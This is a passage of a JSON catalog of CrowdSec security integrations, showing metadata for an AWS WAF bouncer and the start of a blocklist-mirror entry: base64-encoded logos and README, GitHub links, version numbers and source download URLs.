M5mV0VB9JRpJlJhOloSawbCj/D/338xeIIQQQgghhBASGD5NQftr2c/VM6OakNGH2jIy+hppzRpJlNjic1HVv7eW3wCEEEIIIYQQQkjD4MrI759qe1dGhvvvhuL/AfhYMO6ssw+RAAAAAElFTkSuQmCC", "url": "https://github.com/crowdsecurity/cs-aws-waf-bouncer", "description": "Crowdsec bouncer for AWS WAF", "stars": 5, "downloads": 0, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vY3Jvd2RzZWN1cml0eS9jcy1hd3Mtd2FmLWJvdW5jZXIvbWFpbi9hc3NldHMvYXdzLXdhZi1ib3VuY2VyLWxvZ28ucG5nIiBhbHQ9IkNyb3dkU2VjIiB0aXRsZT0iQ3Jvd2RTZWMiIHdpZHRoPSIyODAiIGhlaWdodD0iMzAwIiAvPgo8L3A+CjxwIGFsaWduPSJjZW50ZXIiPgo8aW1nIHNyYz0iaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9iYWRnZS9idWlsZC1wYXNzLWdyZWVuIj4KPGltZyBzcmM9Imh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvdGVzdHMtcGFzcy1ncmVlbiI+CjwvcD4KPHAgYWxpZ249ImNlbnRlciI+CiYjeDFGNEEwOyA8YSBocmVmPSJodHRwczovL2h1Yi5jcm93ZHNlYy5uZXQiPkh1YjwvYT4KJiMxMjgxNzI7IDxhIGhyZWY9Imh0dHBzOi8vZGlzY291cnNlLmNyb3dkc2VjLm5ldCI+RGlzY291cnNlIDwvYT4KPC9wPgoKIyBDcm93ZFNlYyBBV1MgV0FGIEJvdW5jZXIKCkEgYm91bmNlciBmb3IgQVdTIFdBRi4KCiMjIEhvdyBkb2VzIGl0IHdvcmsKClRoZSBib3VuY2VyIHN5bmNzIHRoZSBkZWNpc2lvbnMgbWFkZSBieSBDcm93ZFNlYyB0byBvbmUgb3IgbXVsdGlwbGUgQVdTIFdBRiBXZWIgQUNMLgoKU3VwcG9ydHMgYmFuIGFuZCBjYXB0Y2hhIGRlY2lzaW9ucyBvbiBJUCBvciBjb3VudHJpZXMuCiMgRG9jdW1lbnRhdGlvbgoKUGxlYXNlIGZvbGxvdyB0aGUgW29mZmljaWFsIGRvY3VtZW50YXRpb25dKGh0dHBzOi8vZG9jcy5jcm93ZHNlYy5uZXQvZG9jcy9uZXh0L2JvdW5jZXJzL2F3c193YWYvKS4K", "status": "stable", "version": "v0.1.5", "assets": [ { "name": "Tarball (source code)", "download_url": "https://api.github.com/repos/crowdsecurity/cs-aws-waf-bouncer/tarball/v0.1.5", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-aws-waf-bouncer/tarball/v0.1.5" }, { "name": "Zipball (source code)", "download_url": "https://api.github.com/repos/crowdsecurity/cs-aws-waf-bouncer/zipball/v0.1.5", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-aws-waf-bouncer/zipball/v0.1.5" } ] }, { "name": "cs-blocklist-mirror", "author": "crowdsecurity", "logo": "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